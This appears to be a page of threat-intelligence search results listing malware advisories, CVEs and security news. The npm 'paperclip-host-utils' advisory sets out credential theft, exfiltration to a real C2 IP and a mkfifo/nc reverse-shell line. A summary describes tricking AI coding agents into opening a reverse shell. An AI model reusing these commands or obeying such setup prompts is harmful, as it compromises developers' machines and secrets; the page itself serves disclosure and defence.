Search: 0-day.us
542 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Malicious | – | MaliciousGCVE Database The package 'paperclip-host-utils' is a purpose-built malware package published by the npm account 'srm0rgan' (srm0rgan@proton.me) as part of a coordinated campaign of fake 'Paperclip' VPS-maintenance adapters (siblings: paperclip2, vps-maintenance, vps-maintenance-paperclip-adapter, vps-adapter-core). Its runtime code (`dist/server/execute.js`) presents as a legitimate Paperclip external adapter that runs maintenance shell commands locally or over SSH, which is social-engineering cover for the install-time payload. From version 1.0.2 onward the package declares a malicious install hook that npm runs automatically during `npm install`. The hooked script and payload were repeatedly changed across rapid same-day republishes (1.0.2-1.0.7), an evasion tactic, cycling through three payload variants that all beacon to the hardcoded C2 185.112.147.174: - Versions 1.0.2-1.0.5 (`postinstall` -> `node dist/postinstall.js`): a persistence + backdoor payload. It appends the attacker's ed25519 key (comment `deploy@paperclip-host`, `AAAAC3NzaC1lZDI1NTE5AAAAIDGA+v9tfK8YVeZejZN2y99mNvefRmQx99lJtjKjIAK2`) to `authorized_keys` for /root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos and /home/ubuntu; installs a crontab entry and `/etc/cron.d/paperclip-adapter-sync` that run a `mkfifo`+`nc` reverse shell to 185.112.147.174:443 every minute; and launches a `mkfifo`+`nc` reverse-shell loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337 and 9001. - Version 1.0.6 (`postinstall` -> `node dist/setup.js`): a credential stealer disguised as 'npm-compatible telemetry and diagnostics'. It collects whoami/hostname/id/pwd, the full process environment, `git remote`/`git config`, sudo and docker status, and reads AWS credentials/config, SSH private keys, `.npmrc`, `.netrc`, `.git-credentials`, Docker config, `/home/runner/*` CI credentials, and `.github/workflows` files; base64-encodes the data and exfiltrates it in chunks via HTTP POST to `http://185.112.147.174:8080/npm/v1/security/audits/quick` (spoofing an npm audit request), then spawns `mkfifo`+`nc` reverse shells across the same eight ports in a loop. - Version 1.0.7 (`postinstall` -> `node dist/postinstall.js`): a minimal single reverse shell that connects to 185.112.147.174:443 and pipes a spawned `/bin/sh` over the socket. Version 1.0.0 shipped no install hook (the initial hookless facade); the package is malicious from inception as part of the campaign. Any developer workstation or CI job that ran `npm install paperclip-host-utils` at version 1.0.2 or later must be considered fully compromised; rotate all reachable credentials, tokens, and SSH keys from a separate clean machine and remove the attacker key from `authorized_keys`, the injected crontab entry, and `/etc/cron.d/paperclip-adapter-sync`. --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b7e57197a05889313009e318f52b5c6831e6ce6ce928553210c489433d2ef87c) On `npm install`, package.json's postinstall executes dist/setup.js and dist/postinstall.js. The scripts read installer-side secrets — ~/.aws/credentials, ~/.aws/config, ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.npmrc, ~/.netrc, ~/.git-credentials, ~/.docker/config.json, GitHub Actions runner paths,.github/workflows contents, and the full process.env — and POST them base64-chunked to http://185.112.147.174:8080/npm/v1/security/audits/quick and http://185.112.147.174:8080/exfil (path disguised as an npm audit endpoint). A `find` sweep across /home/runner, /home/devuser, /work, and /root harvests files matching flag*, *.env, secret*, token*, credentials, and *.kubeconfig — purpose-built for GitHub Actions and CI runners. After exfiltration, a detached shell opens named-pipe reverse shells (`mkfifo /tmp/.f; /bin/sh -i... nc 185.112.147.174 <port>`) in an infinite loop across ports 443, 80, 8080, 7007, 4444, 5555, 1337, and 9001. A sibling routine appends an attacker-controlled ssh-ed25519 key (`deploy@paperclip-host`) to authorized_keys under /root, /home/runner, /home/devuser, /home/paperclip, /home/ec2-user, and /home/centos, and installs /etc/cron.d/paperclip-adapter-sync plus a user crontab entry that calls back to 185.112.147.174:443 every minute. The package name and README impersonate the @paperclipai adapter family as social-engineering cover; the declared dependency `@paperclipai/adapter-utils` is pinned to a suspicious ^2026.626.0. Any machine or CI runner that runs `npm install` on this package is credential-compromised and backdoored. ## Source: ghsa-malware (4a7cf91b41f6980a21fe3a566b9f251bffaf8326222d7e34daeadcf864355768) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious softw | GCVE Database | |||
| –Not rated | – | Reddit Cybersecurity Five vulnerabilities were responsibly disclosed in Ollama and LiteLLM after a 90-day coordinated disclosure period. In Ollama, vulnerabilities include a GGUF string length panic causing a denial of service and an unbounded vocab_size resource exhaustion leading to excessive CPU and memory use. In LiteLLM, issues include a Pass-the-Hash authentication bypass, an SSRF vulnerability via custom guardrails, and a Unicode normalization flaw that could enable sandbox escape. These vulnerabilities stem from overlooked areas in AI infrastructure such as model parsing, resource controls, authentication, network boundaries, and Unicode handling. The disclosures include technical details, root cause analyses, and proof-of-concept exploits for educational and defensive use. | Reddit Cybersecurity | |||
| –Not rated | – | AlienVault OTX General TAG-182, an Iran-nexus threat cluster, is conducting surveillance operations targeting Iranian citizens both domestically and abroad using MarkiRAT malware. The group distributes fake Android applications masquerading as VPN services and media players through social media platforms, particularly Instagram. Following Iran's partial internet restoration in May 2026 after an 88-day shutdown, these surveillance activities have intensified as Iranian security apparatus seeks to monitor perceived dissidents and anti-government activists. MarkiRAT samples demonstrate tradecraft overlaps with previously documented Ferocious Kitten operations, including use of Background Intelligent Transfer Service (BITS). The group operates infrastructure across multiple autonomous systems, utilizing domains with naming conventions mimicking legitimate services like Microsoft, Google, and Facebook. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General The Gentlemen ransomware group, which emerged in July 2025, employed a zero-day vulnerability in a bring-your-own-vulnerable-driver (BYOVD) attack to disable endpoint detection and response systems. During an incident investigated in early April, the group leveraged an obscure third-party driver named ktapi.sys from Kontron to bypass security protections. The sophisticated exploit chains multiple advanced techniques to navigate Windows exploit mitigations, including bypassing Supervisor Mode Access Prevention and Supervisor Mode Execution Prevention. The toolkit enables the attackers to call privileged kernel mode functions from user mode processes, ultimately terminating EDR processes including Windows Defender, ESET, Palo Alto Cortex XDR, and SentinelOne. The vulnerability had no prior public documentation and was previously absent from vulnerable driver blocklists. | AlienVault OTX General | |||
| Medium | – | MediumTenable Research CISA’s BOD 26-04 changes how federal agencies patch and how security leaders must measure, justify, and communicate cyber risk to executives and boards. Key takeaways BOD 26-04 requires agencies to make and defend risk-based vulnerability prioritization decisions, including decisions to defer vulnerability remediation. This accountability requirement transforms vulnerability management from a technical operation into a governance discipline that demands audit-ready documentation. Traditional vulnerability management KPIs (total vulnerabilities patched, mean time to patch, percentage of systems scanned) do not measure what BOD 26-04 demands. The metrics that matter are coverage breadth and risk-tier remediation rates. Tenable’s analysis of customer telemetry shows that monitoring coverage breadth is a stronger predictor of risk posture than patch speed, a finding independently corroborated by research showing organizations can remediate only about 10% of open vulnerabilities per month regardless of size or maturity. The directive’s reach extends beyond federal agencies to thousands of federal contractors who must align with BOD 26-04 through contract compliance requirements. Organizations in the federal supply chain should treat the directive as an operational requirement, not advisory guidance. The shift from patching metrics to risk exposure metrics is not a federal-only phenomenon. Industry reporting standards, insurance underwriting models, and board-level accountability expectations are converging on the same demand: prove that you are reducing actual risk, not just closing tickets. The reporting mandate hiding inside CISA Binding Operational Directive (BOD) 26-04 Most coverage of CISA BOD 26-04 has focused on the operational requirements: the four-variable model, the 16-tier remediation matrix, the three-day BOD 26-04 patching timeline with mandatory forensic triage. These are significant, and Tenable has covered them in depth in our FAQ on BOD 26-04 . But buried in the directive’s requirements is a less-discussed obligation that may prove equally transformative: agencies must demonstrate how they prioritize vulnerabilities and justify their decisions, particularly in cases where they decide to defer remediation. Metrics are expected to evolve from simple counts of patched vulnerabilities to measures that reflect reduction in high-risk exposure. This is not a minor procedural update. It is a fundamental shift in how cybersecurity programs are measured, reported, and held accountable. For CISOs and security leaders, BOD 26-04 doesn’t just change the patching workflow. While the BOD 26-04 directive formally targets federal agencies, its framework is rapidly becoming the blueprint for the private sector as market forces align around risk-based accountability. Ultimately, it changes what corporate boards of directors need to hear. Why traditional vulnerability management metrics fail under BOD 26-04 For years, security leaders have measured vulnerability management programs by volume: Total vulnerabilities identified Total patches applied Percentage of systems scanned within a 30-day window Mean time to remediate. These metrics are easy to collect, easy to report, and easy to trend over time, but they are also increasingly disconnected from actual risk. Tenable’s own analysis of customer telemetry across our global customer base confirms what many security leaders suspect but cannot prove: breadth of monitoring coverage is a more robust, predictive risk signal than patch velocity. Unmonitored assets exist as a permanently open attack surface; they cannot generate findings, be prioritized, or be verified as remediated. Conversely, monitored assets still pass through the risk pipeline even if remediation isn’t operating at maximum speed. Independent industry research heavily corroborates the need to shift reporting from patching speed to monitoring coverage: The remediation ceiling - The Cyentia Institute’s Prioritization to Prediction research (analyzing 3.6 billion vulnerability observations) found that the typical organization can only remediate roughly 10% of open vulnerabilities per month, regardless of size, industry, or maturity. Because you cannot out-patch the growth rate of your backlog, prioritization, not speed, is the only lever that meaningfully reduces risk. The MTTR flaw - Standard mean-time-to-remediate (MTTR) calculations exclude open, unremediated vulnerabilities, which skews your metrics toward items that are easier to close quickly, which may not be the most critical, severe, or highest-risk issues. Asset composition skew - Remediation half-lives vary wildly across asset types, averaging 36 days for Microsoft Windows systems versus 369 days for network appliances. A strong MTTR often just means you have good visibility into automatically patching Windows assets, but this KPI may hide persistent exposure on edge devices and OT systems. BOD 26-04 makes this explicit: remediation priority is determined by the risk posed by a vulnerability if exploited, not by the total number of vulnerabilities identified. The directive’s deferral tier (fix on system upgrade) formalizes what the data has always shown: most vulnerabilities can wait. The ones that cannot are defined by exploitation evidence, exposure, automation potential, and impact severity. A CISO who reports, “We patched 95% of critical CVEs this quarter,” is reporting a metric that BOD 26-04 has rendered insufficient. The relevant question is: Of the vulnerabilities that posed real-world risk to mission-critical systems, what percentage did we remediate within the directive’s timeline, and how much of our attack surface was under observation when we made that assessment? The new security metrics: What BOD 26-04 demands The shift from volume-based to risk-based reporting requires new KPIs. Organizations implementing BOD 26-04 should consider metrics that reflect the directive’s four-variable prioritization model: Remediation compliance by BOD tier. What percentage of vulnerabilities in each BOD tier (three-day forensic triage, three-day, 14-day, 60-day, system upgrade) are remediated within the applicable timeline? This is the core compliance metric. It replaces “mean time to remediate” with a risk-weighted measurement that distinguishes between a 3-day critical and a deferrable low-risk finding. Coverage of actively exploited vulnerabilities. What percentage of KEV -listed vulnerabilities in the environment are remediated? This measures the response to the most dangerous known threats, not the total vulnerability population. Exposure surface reduction over time. What is the trend in assets classified as publicly exposed (BOD Variable 1)? Reducing the number of internet-facing assets directly shifts vulnerabilities from compressed timelines to the deferral tier. Tenable’s analysis of the full CISA Vulnrichment corpus found that removing an asset from public exposure can shift 76.7% of its associated CVEs to longer remediation windows. This makes exposure reduction the single highest-leverage compliance investment. Additional independent research reinforces why assessment coverage is a better indicator of risk outcomes than patch velocity. Joint analysis from XM Cyber and the Cyentia Institute, examining more than 60 million exposures across 10 million entities, found that 75% of security exposures do not put critical assets at risk: they are dead ends in the attack graph. Only 2% of exposures sit on “choke points,” the convergence nodes through which multiple attack paths transit en route to critical assets. This corroborates Tenable’s telemetry finding from a different angle: if your monitoring does not cover the entities where those choke points exist, your remediation speed on the other 98% is noise in the risk signal. The metric that matters is not how fast you patch, but whether your visibility extends to the places where attack paths converge. Forensic triage completion rate. For vulnerabilities in the highest-risk tier (KEV + total control), what percentage received the required BOD 26-04 forensic triage guidelines within the three-day window? This measures compliance with the directive’s most novel and operationally demanding requirement. Deferral justification documentation rate. For vulnerabilities placed in the “fix on system upgrade” tier, what percentage have documented risk acceptance decisions? BOD 26-04 requires agencies to justify deferral decisions, which means every deferred vulnerability needs an auditable rationale. Mean time from KEV addition to remediation. How quickly does the organization respond when a CVE is added to the KEV catalog and its BOD timeline compresses? This measures the speed of the organization’s response to dynamic timeline changes. These metrics share a common characteristic: they measure risk reduction outcomes, not activity volume. A security program that patches fewer total vulnerabilities but remediates 100% of the 3-day tier within three days is performing better under BOD 26-04 than one that patches twice as many total CVEs but misses the critical timelines. The accountability requirement: Justifying decisions to defer vulnerability remediation BOD 26-04 introduces something federal vulnerability management has never had: a formal requirement to justify prioritization decisions. When an agency defers remediating a vulnerability to the next system upgrade cycle, that decision must be documented and defensible. This creates an audit trail requirement. For every deferred vulnerability, the organization needs to demonstrate: Which of the four variables were assessed What combination placed the vulnerability in the deferral tier Why the agency is confident the deferral does not create unacceptable risk If any of the four variables change (a CVE added to the KEV, an asset newly exposed to the internet), the deferral decision must be reassessed. For CISOs, this means the vulnerability management pro | Tenable Research | |||
| –Not rated | – | Reddit Cybersecurity Researchers at Mozilla's Zero Day Investigative Network (0DIN) demonstrated a novel attack method where AI coding agents, such as Claude Code, can be tricked into executing a reverse shell by interacting with a clean-looking GitHub repository. The attack chain involves a benign repository that triggers an error during setup, prompting the AI agent to run a suggested initialization command. This command fetches and executes a base64-encoded payload from an attacker-controlled DNS TXT record, resulting in a reverse shell running with the developer's privileges. The attack does not rely on traditional vulnerabilities or malicious code in the repository itself, making it difficult to detect with conventional security tools. The researchers recommend that AI agents disclose the full execution chain of setup commands before running them to mitigate this risk. | Reddit Cybersecurity | |||
| High | 8.7 | EPSS 0.2% | CVE-2026-55887ZDI-26-363: Docker MCP Plugin OCI Image Label Parsing Argument Injection Remote Code Execution Vulnerability High8.7EPSS 0.2%Zero Day InitiativeCVE-2026-55887 MCP Gateway allows easy and secure running and deployment of MCP servers. From 0.21.0 until 0.42.2, Docker MCP Gateway YAML-unmarshalled the attacker-controlled io.docker.server.metadata OCI image label into the broad catalog.Server structure for direct docker:// references and catalog snapshot imports in pkg/oci/self_contained.go and pkg/workingset/workingset.go. Runtime-shaping fields including Volumes, User, and ExtraHosts were then appended to the docker run argument vector without an origin allowlist, allowing a malicious image author to request host filesystem or Docker socket mounts and UID 0 execution when a victim selected or pulled the image. This container-creation-time boundary bypass can execute arbitrary code on the host and is not prevented by no-new-privileges because no in-container privilege escalation is required. This issue is fixed in version 0.42.2. | Zero Day Initiative | ||
| High | – | EPSS 0.9% | CVE-2026-7570ZDI-26-368: Quest NetVault Backup NVBUDashboard SQL Injection Remote Code Execution Vulnerability HighEPSS 0.9%Zero Day InitiativeCVE-2026-7570 A SQL injection vulnerability in Quest NetVault Backup's NVBUDashboard allows remote attackers to execute arbitrary code. Exploitation requires authentication, but the authentication mechanism can be bypassed. The vulnerability arises from improper validation of user-supplied strings used in SQL queries, enabling code execution with NETWORK SERVICE privileges. Quest has issued an update to address this issue. | Zero Day Initiative | ||
| High | – | EPSS 0.9% | CVE-2026-9780ZDI-26-369: Quest NetVault Backup addclient3 Cross-Site Scripting Authentication Bypass Vulnerability HighEPSS 0.9%Zero Day InitiativeCVE-2026-9780 CVE-2026-9780 is a vulnerability in Quest NetVault Backup's addclient3 webpage that allows remote attackers to bypass authentication by injecting arbitrary scripts due to improper validation of user-supplied data. Exploitation requires user interaction, such as visiting a malicious page or opening a malicious file. The vulnerability can be leveraged with other flaws to execute arbitrary code with SYSTEM privileges. Quest has issued an update to address this issue. | Zero Day Initiative | ||
| Critical | – | EPSS 0.9% | CVE-2026-9781ZDI-26-370: Quest NetVault Backup NVBURASDevice SQL Injection Remote Code Execution Vulnerability CriticalEPSS 0.9%Zero Day InitiativeCVE-2026-9781 A critical SQL injection vulnerability exists in Quest NetVault Backup's NVBURASDevice JSON-RPC message processing. This flaw allows remote attackers to execute arbitrary code with NETWORK SERVICE privileges by exploiting improper validation of user-supplied strings used in SQL queries. Although authentication is nominally required, the authentication mechanism can be bypassed. Quest has issued an update to address this vulnerability. | Zero Day Initiative | ||
| Critical | – | EPSS 0.9% | CVE-2026-9784ZDI-26-373: Quest NetVault Backup NVBULibraryPort SQL Injection Remote Code Execution Vulnerability CriticalEPSS 0.9%Zero Day InitiativeCVE-2026-9784 A critical SQL injection vulnerability in Quest NetVault Backup's NVBULibraryPort component allows remote attackers to execute arbitrary code. Exploitation requires authentication, but the authentication mechanism can be bypassed. The flaw stems from improper validation of user-supplied strings in JSON-RPC messages, enabling code execution with NETWORK SERVICE privileges. Quest has issued an update to address this issue. | Zero Day Initiative | ||
| Critical | – | EPSS 0.9% | CVE-2026-9785ZDI-26-374: Quest NetVault Backup NVBULibrarySlot SQL Injection Remote Code Execution Vulnerability CriticalEPSS 0.9%Zero Day InitiativeCVE-2026-9785 A critical SQL injection vulnerability exists in Quest NetVault Backup's NVBULibrarySlot JSON-RPC message processing. This flaw allows remote attackers to execute arbitrary code with NETWORK SERVICE privileges by exploiting improper validation of user-supplied strings used in SQL queries. Although authentication is nominally required, the authentication mechanism can be bypassed. Quest has issued an update to address this vulnerability. | Zero Day Initiative | ||
| High | – | EPSS 0.9% | CVE-2026-9786ZDI-26-375: Quest NetVault Backup NVBUDashboard SQL Injection Remote Code Execution Vulnerability HighEPSS 0.9%Zero Day InitiativeCVE-2026-9786 A SQL injection vulnerability in Quest NetVault Backup's NVBUDashboard component allows remote attackers to execute arbitrary code. Exploitation requires authentication, but the authentication mechanism can be bypassed. The flaw arises from improper validation of user-supplied strings used in SQL queries, enabling code execution with NETWORK SERVICE privileges. Quest has issued an update to address this vulnerability. | Zero Day Initiative | ||
| High | – | EPSS 0.9% | CVE-2026-7569ZDI-26-377: Quest NetVault Backup viewclient Cross-Site Scripting Authentication Bypass Vulnerability HighEPSS 0.9%Zero Day InitiativeCVE-2026-7569 A cross-site scripting (XSS) vulnerability in the viewclient webpage of Quest NetVault Backup allows remote attackers to bypass authentication. Exploitation requires user interaction, such as visiting a malicious page or opening a malicious file. The vulnerability stems from improper validation of user-supplied data, enabling script injection. Quest has issued an update to address this issue. | Zero Day Initiative | ||
| –Not rated | – | Krebs on Security Two men pleaded guilty in the United Kingdom this week to criminal charges stemming from an August 2024 cyberattack that crippled Transport for London , the entity responsible for the public transport network in the Greater London area. The duo were key members of a prolific cybercrime group known as Scattered Spider , and their guilty pleas came on the first day of what was expected to be a six-week trial. Owen Flowers (left) 18, and Thalha Jubair, 20. Image: UK National Crime Agency (NCA). Thalha Jubair , 20, of East London and 18-year-old Owen Flowers of Walsall admitted conspiring to commit unauthorized acts against Transport for London computer systems and causing risk of serious damage to human welfare. According to a report from the BBC, Flowers alone admitted to being part of a conspiracy to hack into U.S. based healthcare providers SSM Health Care Corporation and Sutter Health in September 2024. Jubair is also wanted by U.S. law enforcement agencies. In September 2025, prosecutors in New Jersey unsealed an indictment alleging Jubair and other Scattered Spider members committed computer fraud, wire fraud, and money laundering in relation to 120 computer network intrusions involving 47 U.S. entities between May 2022 and September 2025, and that the group’s victims paid at least $115 million in ransom payments. In July 2025, KrebsOnSecurity reported that Flowers and Jubair were arrested in the United Kingdom in connection with Scattered Spider ransom attacks against the retailers Marks & Spencer and Harrods , and the British food retailer Co-op Group . Multiple sources familiar with those investigations said Flowers was the Scattered Spider member who anonymously gave interviews to the media in the days after the group’s September 2023 ransomware attacks disrupted operations at Las Vegas casinos operated by MGM Resorts and Caesars Entertainment . According to prosecutors, Jubair co-ran a bustling Telegram channel called Star Chat , the home of a SIM-swapping group that used voice- and SMS-based phishing attacks to steal credentials from employees at the major wireless providers in the U.S. and U.K. The group would then use that access to sell a service that could redirect a target’s phone number to a device the attackers controlled and intercept the victim’s calls and text messages (including one-time codes for multi-factor authentication). A receipt from Star Fraud Chat’s SIM-swapping service targeting a T-Mobile customer after the group gained access to internal T-Mobile employee tools. “Rocket Ace” was one of Jubair’s hacker handles, according to U.S. prosecutors. New Jersey prosecutors also allege Jubair also was involved in a mass SMS phishing campaign during the summer of 2022 that stole single sign-on credentials from employees at hundreds of companies. That weeks-long SMS phishing campaign led to intrusions and data thefts at more than 130 organizations, including LastPass , DoorDash , Mailchimp , Plex and Signal . KrebsOnSecurity reported last year that one of Jubair’s alter egos at age 15 was “ Everlynn ,” a hacker who sold fraudulent “emergency data requests” that used compromised police and government email addresses to demand subscriber data (e.g. username, IP/email address) from major tech companies, claiming the requests concerned urgent matters of life and death and could not wait for a court order. In April 2026, 24-year-old British national and Scattered Spider member Tyler “Tylerb” Buchanan pleaded guilty to wire fraud conspiracy and aggravated identity theft for participating in the group’s SMS phishing spree in the summer of 2022. The government said Buchanan, Jubair and others used the credentials harvested in that phishing campaign to steal at least $8 million in cryptocurrency from victims throughout the United States. Buchanan is currently scheduled to be sentenced on October 2. In August 2025, 20-year-old Scattered Spider member from Florida named Noah Michael Urban was sentenced to 10 years in… | Krebs on Security | |||
| –Not rated | – | AlienVault OTX General On May 14, 2026, a supply chain attack was discovered targeting the Okendo Reviews widget, a customer review platform used by over 18,000 brands. The threat actor injected malicious JavaScript code into the legitimate widget, which is deployed on high-traffic e-commerce pages including storefronts and product pages. The compromised JavaScript acted as a staged loader, using obfuscation, localStorage tracking, User-Agent filtering, and XOR-based decoding to conceal next-stage infrastructure. The attack employed ClickFix-style social engineering to deceive users into executing malicious commands, ultimately delivering remote access trojans like NetSupport and Remcos, or information stealers such as StealC. Affected websites received hundreds of thousands to millions of monthly visitors, with nearly 15,000 blocks recorded in a single day. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General Microsoft Threat Intelligence discovered a large-scale npm supply chain attack compromising over 140 packages in the mastra and @mastra scopes. The attack originated from takeover of the ehindero npm maintainer account, which published poisoned package versions introducing easy-day-js, a malicious typosquat of the popular dayjs library. The malicious package executed a postinstall hook that deployed an obfuscated dropper script, disabled TLS certificate verification, contacted command-and-control infrastructure at 23.254.164.92 and 23.254.164.123, and downloaded a second-stage payload. This 41KB cross-platform Node.js implant installed persistence mechanisms, performed cryptocurrency wallet inventory, exfiltrated browser history and host reconnaissance data, and on Windows performed reflective .NET assembly injection for fileless in-memory code execution. Any developer workstation or CI/CD pipeline executing npm install after compromise was potentially exposed regardless of code usage. | AlienVault OTX General | |||
| –Not rated | – | AlienVault OTX General More than 140 Mastra npm packages were compromised through a supply chain attack that injected a typosquatted dependency called easy-day-js. A single npm account published malicious versions within a short timeframe, affecting packages including @mastra/core with over 918K weekly downloads. The attack executes during npm install via a postinstall hook, deploying a two-stage payload. The first stage disables TLS validation and downloads a second-stage implant that installs cross-platform persistence on Windows, macOS, and Linux. This implant functions as a command-and-control client that steals cryptocurrency wallet inventories from 166+ browser extensions, harvests browser history, and can execute arbitrary code sent by operators. The malicious code executes before developers import packages, compromising systems during installation. | AlienVault OTX General | |||
| Malicious | – | MaliciousGCVE Database The npm package @mastra/node-speaker version 0.1.1 includes a suspicious runtime dependency on 'easy-day-js', a date utility library unrelated to its declared audio output functionality. While @mastra/node-speaker's own code appears benign with no direct malicious behavior, the inclusion of this unrelated dependency raises concerns about potential malicious activity. The 'easy-day-js' package itself should be separately assessed for maliciousness. Installation of @mastra/node-speaker 0.1.1 may lead to full system compromise, and any system with this package installed should be considered compromised. Immediate secret and key rotation is recommended, and removal of the package is advised, though removal may not fully eliminate the compromise. | GCVE Database | |||
| Malicious | – | MaliciousGCVE Database --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (49ba6a41e7e43733a8334968ce740af8771208c66c7529d9f4319bd62e39601d) @mastra/agent-browser@0.3.2 declares a dependency on 'easy-day-js@^1.11.21' in package.json, but the package's own compiled code in dist/index.js never imports or references easy-day-js (only @mastra/core, agent-browser, and zod are used). The dependency name resembles the popular 'dayjs' library and pulling it in at install time means every installer of @mastra/agent-browser also fetches and executes whatever easy-day-js contains. The wrapper package's own code shows no install hooks, no obfuscation, and no exfiltration behavior, so the installer-side risk depends entirely on the contents of easy-day-js. Routing to human review so the transitive can be evaluated and, if malicious, both packages handled together. ## Source: ghsa-malware (f47e1be40751417e2e8e62b23068d7f74df247fc0c2b47cdf0b7ddb9733ca2f4) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. | GCVE Database |
Page 19 of 28